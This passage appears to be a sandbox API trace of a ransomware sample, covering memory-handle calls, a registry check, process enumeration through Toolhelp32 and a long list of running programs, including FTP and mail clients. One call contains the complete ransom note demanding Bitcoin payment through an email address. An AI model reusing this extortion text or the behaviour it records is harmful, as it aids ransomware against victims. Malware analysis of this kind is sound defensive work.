lpPerformanceCount=0x18fcf8*=17594909635) returned 1 [0034.183] QueryPerformanceCounter (in: lpPerformanceCount=0x18fcf0 | out: lpPerformanceCount=0x18fcf0*=17594914830) returned 1 [0034.183] QueryPerformanceCounter (in: lpPerformanceCount=0x18fce8 | out: lpPerformanceCount=0x18fce8*=17594920062) returned 1 [0034.183] GlobalLock (hMem=0x44000c) returned 0x54c960 [0034.183] GlobalHandle (pMem=0x54c960) returned 0x44000c [0034.183] GlobalUnlock (hMem=0x44000c) returned 0 [0034.183] GlobalLock (hMem=0x44000c) returned 0x54c960 [0034.183] GlobalLock (hMem=0x440004) returned 0x51f100 [0034.183] GlobalHandle (pMem=0x54c960) returned 0x44000c [0034.183] GlobalUnlock (hMem=0x44000c) returned 0 [0034.183] GlobalHandle (pMem=0x51f100) returned 0x440004 [0034.183] GlobalUnlock (hMem=0x440004) returned 0 [0034.183] GlobalLock (hMem=0x440004) returned 0x54c960 [0034.183] GlobalHandle (pMem=0x54c960) returned 0x440004 [0034.183] GlobalUnlock (hMem=0x440004) returned 0 [0034.183] GlobalLock (hMem=0x440004) returned 0x54c960 [0034.183] GlobalLock (hMem=0x44000c) returned 0x51f100 [0034.183] GlobalHandle (pMem=0x54c960) returned 0x440004 [0034.184] GlobalUnlock (hMem=0x440004) returned 0 [0034.184] GlobalHandle (pMem=0x51f100) returned 0x44000c [0034.184] GlobalUnlock (hMem=0x44000c) returned 0 [0034.184] GlobalLock (hMem=0x44000c) returned 0x54c960 [0034.184] GlobalHandle (pMem=0x54c960) returned 0x44000c [0034.184] GlobalUnlock (hMem=0x44000c) returned 0 [0034.184] GlobalLock (hMem=0x44000c) returned 0x54c960 [0034.184] GlobalLock (hMem=0x440004) returned 0x51f100 [0034.184] GlobalHandle (pMem=0x54c960) returned 0x44000c [0034.184] GlobalUnlock (hMem=0x44000c) returned 0 [0034.184] GlobalHandle (pMem=0x51f100) returned 0x440004 [0034.184] GlobalUnlock (hMem=0x440004) returned 0 [0034.184] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\qhwVf", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0x0) returned 0x2 [0034.184] PeekMessageA (in: lpMsg=0x18fcf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fcf8) returned 0 [0034.185] PeekMessageA (in: lpMsg=0x18fcf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fcf8) returned 0 [0034.185] PeekMessageA (in: lpMsg=0x18fcf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fcf8) returned 0 [0034.185] PeekMessageA (in: lpMsg=0x18fcf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fcf8) returned 0 [0034.185] PeekMessageA (in: lpMsg=0x18fcf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fcf8) returned 0 [0034.185] PeekMessageA (in: lpMsg=0x18fcf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fcf8) returned 0 [0034.185] PeekMessageA (in: lpMsg=0x18fcf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fcf8) returned 0 [0034.185] PeekMessageA (in: lpMsg=0x18fcf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fcf8) returned 0 [0034.368] GlobalLock (hMem=0x440004) returned 0x54c960 [0034.368] GlobalHandle (pMem=0x54c960) returned 0x440004 [0034.368] GlobalUnlock (hMem=0x440004) returned 0 [0034.368] GlobalLock (hMem=0x440004) returned 0x54c960 [0034.368] GlobalLock (hMem=0x44000c) returned 0x51f100 [0034.368] GlobalHandle (pMem=0x54c960) returned 0x440004 [0034.368] GlobalUnlock (hMem=0x440004) returned 0 [0034.368] GlobalHandle (pMem=0x51f100) returned 0x44000c [0034.368] GlobalUnlock (hMem=0x44000c) returned 0 [0034.368] GlobalLock (hMem=0x44000c) returned 0x54c960 [0034.368] GlobalHandle (pMem=0x54c960) returned 0x44000c [0034.368] GlobalUnlock (hMem=0x44000c) returned 0 [0034.368] GlobalLock (hMem=0x44000c) returned 0x54c960 [0034.368] GlobalLock (hMem=0x440004) returned 0x51f100 [0034.368] GlobalHandle (pMem=0x54c960) returned 0x44000c [0034.368] GlobalUnlock (hMem=0x44000c) returned 0 [0034.368] GlobalHandle (pMem=0x51f100) returned 0x440004 [0034.368] GlobalUnlock (hMem=0x440004) returned 0 [0034.368] GlobalLock (hMem=0x440004) returned 0x54c960 [0034.368] GlobalHandle (pMem=0x54c960) returned 0x440004 [0034.368] GlobalUnlock (hMem=0x440004) returned 0 [0034.368] GlobalLock (hMem=0x440004) returned 0x54c960 [0034.368] GlobalLock (hMem=0x44000c) returned 0x51f100 [0034.368] GlobalHandle (pMem=0x54c960) returned 0x440004 [0034.368] GlobalUnlock (hMem=0x440004) returned 0 [0034.369] GlobalHandle (pMem=0x51f100) returned 0x44000c [0034.369] GlobalUnlock (hMem=0x44000c) returned 0 [0034.369] GlobalLock (hMem=0x44000c) returned 0x54c960 [0034.369] GlobalHandle (pMem=0x54c960) returned 0x44000c [0034.369] GlobalUnlock (hMem=0x44000c) returned 0 [0034.369] GlobalLock (hMem=0x44000c) returned 0x54c960 [0034.369] GlobalLock (hMem=0x440004) returned 0x51f100 [0034.369] GlobalHandle (pMem=0x54c960) returned 0x44000c [0034.369] GlobalUnlock (hMem=0x44000c) returned 0 [0034.620] GlobalHandle (pMem=0x51f100) returned 0x440004 [0034.620] GlobalUnlock (hMem=0x440004) returned 0 [0037.623] GlobalLock (hMem=0x440004) returned 0x54c960 [0037.623] GlobalHandle (pMem=0x54c960) returned 0x440004 [0037.623] GlobalUnlock (hMem=0x440004) returned 0 [0037.623] GlobalLock (hMem=0x440004) returned 0x54c960 [0037.623] GlobalLock (hMem=0x44000c) returned 0x51f100 [0037.623] GlobalHandle (pMem=0x54c960) returned 0x440004 [0037.623] GlobalUnlock (hMem=0x440004) returned 0 [0037.623] GlobalHandle (pMem=0x51f100) returned 0x44000c [0037.623] GlobalUnlock (hMem=0x44000c) returned 0 [0037.623] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0037.638] LoadStringA (in: hInstance=0x400000, uID=0xffde, lpBuffer=0x18e814, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0037.638] RtlUnwind (TargetFrame=0x18fdec, TargetIp=0x403e04, ExceptionRecord=0x18f938, ReturnValue=0x0) [0037.638] GlobalLock (hMem=0x44000c) returned 0x54c960 [0037.638] GlobalHandle (pMem=0x54c960) returned 0x44000c [0037.638] GlobalUnlock (hMem=0x44000c) returned 0 [0037.638] GlobalLock (hMem=0x44000c) returned 0x54c960 [0037.638] GlobalLock (hMem=0x440004) returned 0x51f100 [0037.638] GlobalHandle (pMem=0x54c960) returned 0x44000c [0037.638] GlobalUnlock (hMem=0x44000c) returned 0 [0037.638] GlobalHandle (pMem=0x51f100) returned 0x440004 [0037.638] GlobalUnlock (hMem=0x440004) returned 0 [0037.638] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76e10000 [0037.638] GetProcAddress (hModule=0x76e10000, lpProcName="CreateToolhelp32Snapshot") returned 0x76e4735f [0037.639] GetProcAddress (hModule=0x76e10000, lpProcName="Heap32ListFirst") returned 0x76ea5621 [0037.639] GetProcAddress (hModule=0x76e10000, lpProcName="Heap32ListNext") returned 0x76ea56cb [0037.639] GetProcAddress (hModule=0x76e10000, lpProcName="Heap32First") returned 0x76ea5763 [0037.639] GetProcAddress (hModule=0x76e10000, lpProcName="Heap32Next") returned 0x76ea594e [0037.639] GetProcAddress (hModule=0x76e10000, lpProcName="Toolhelp32ReadProcessMemory") returned 0x76ea5b53 [0037.639] GetProcAddress (hModule=0x76e10000, lpProcName="Process32First") returned 0x76e48ae7 [0037.639] GetProcAddress (hModule=0x76e10000, lpProcName="Process32Next") returned 0x76e488a4 [0037.639] GetProcAddress (hModule=0x76e10000, lpProcName="Process32FirstW") returned 0x76e48baf [0037.639] GetProcAddress (hModule=0x76e10000, lpProcName="Process32NextW") returned 0x76e4896c [0037.639] GetProcAddress (hModule=0x76e10000, lpProcName="Thread32First") returned 0x76ea5b93 [0037.640] GetProcAddress (hModule=0x76e10000, lpProcName="Thread32Next") returned 0x76ea5c3f [0037.640] GetProcAddress (hModule=0x76e10000, lpProcName="Module32First") returned 0x76ea5cd9 [0037.640] GetProcAddress (hModule=0x76e10000, lpProcName="Module32Next") returned 0x76ea5dc2 [0037.640] GetProcAddress (hModule=0x76e10000, lpProcName="Module32FirstW") returned 0x76e479f9 [0037.640] GetProcAddress (hModule=0x76e10000, lpProcName="Module32NextW") returned 0x76e47d96 [0037.640] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe8 [0037.660] Process32First (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0037.660] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0037.661] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0037.661] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0037.662] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0037.662] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0037.663] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0037.663] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0037.664] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0037.664] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0037.664] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.665] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.665] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.666] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.666] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.667] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0037.667] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.668] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.668] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0037.669] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0037.669] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0037.670] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0037.670] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.670] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0037.671] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0037.671] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.672] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0037.672] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.673] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="purse-referrals-effort.exe")) returned 1 [0037.673] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="carrying.exe")) returned 1 [0037.674] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectsscholarturkey.exe")) returned 1 [0037.674] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mason fri.exe")) returned 1 [0037.675] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gs assign.exe")) returned 1 [0037.675] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="answering.exe")) returned 1 [0037.676] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ptssupportsengage.exe")) returned 1 [0037.676] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="plugins.exe")) returned 1 [0037.677] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="constructedstartedsince.exe")) returned 1 [0037.677] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patrick.exe")) returned 1 [0037.678] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="deadline_supervisors.exe")) returned 1 [0037.678] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tackle threatened banks.exe")) returned 1 [0037.679] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gsmfloristnumerous.exe")) returned 1 [0037.679] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="separately correspondence.exe")) returned 1 [0037.679] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="twin istanbul.exe")) returned 1 [0037.680] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="consciousness.exe")) returned 1 [0037.680] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x850, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0037.681] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0037.681] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0037.682] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x880, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0037.682] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0037.683] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0037.683] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0037.684] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0037.684] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0037.684] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0037.685] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0037.685] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x904, 